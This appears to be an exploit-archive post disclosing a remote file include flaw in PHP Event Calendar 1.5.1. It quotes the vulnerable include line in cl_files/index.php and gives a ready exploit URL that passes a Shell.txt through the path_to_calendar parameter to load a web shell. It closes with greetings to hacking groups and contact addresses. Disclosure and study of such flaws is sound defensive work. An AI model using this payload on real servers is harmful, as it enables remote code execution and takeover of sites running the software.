Title : PHP Event Calendar 1.5.1 (index.php) Remote File Include Vulnerability ######################################################################## ####### Discovered By :::: ThE-LoRd-Of-CrAcKiNg {MeHdi} ------------------------------------------------------------------------ Sorce Code: ********** http://www.scriptdungeon.com/jump.php?ScriptID=633 Affected software description : ****************************** Title: PHP Event Calendar // URL: http://www.softcomplex.com/products/php_event_calendar/ // Version: 1.5.1 // Date: 03/04/2005 (mm/dd/yyyy) // Tech. support: http://www.softcomplex.com/forum/forumdisplay.php?fid=55 Catégorie :Remote File Include ------------------------------------------------------------------------ Vulnerable Code: *************** include $path_to_calendar."calendar.php"; affected file: cl_files/index.php ---------------------------------------------------------------------- Exploit: ******* http://www.VicTim.com/[Script_Path]/cl_files/index.php?path_to_calendar=Shell.txt? ------------------------------------------------------------------------ ---- greetz: Studio36-DeStRoY-ToOoFA-AsbMay-Mr.3freet-Simba-Disco-Faiçeu-YouSSeF & all my friends Special Greeting:AsbMay's Group & TrYaG TeaM channel:www.asb-may.net & www.tryag.com contact:spoonman500[at]hotmail[dot]com / ThE-LoRd-Of-CrAcKiNg@hotmail.com _________________________________________________________________ MSN Messenger : discutez en direct avec vos amis ! http://www.msn.fr/msger/default.asp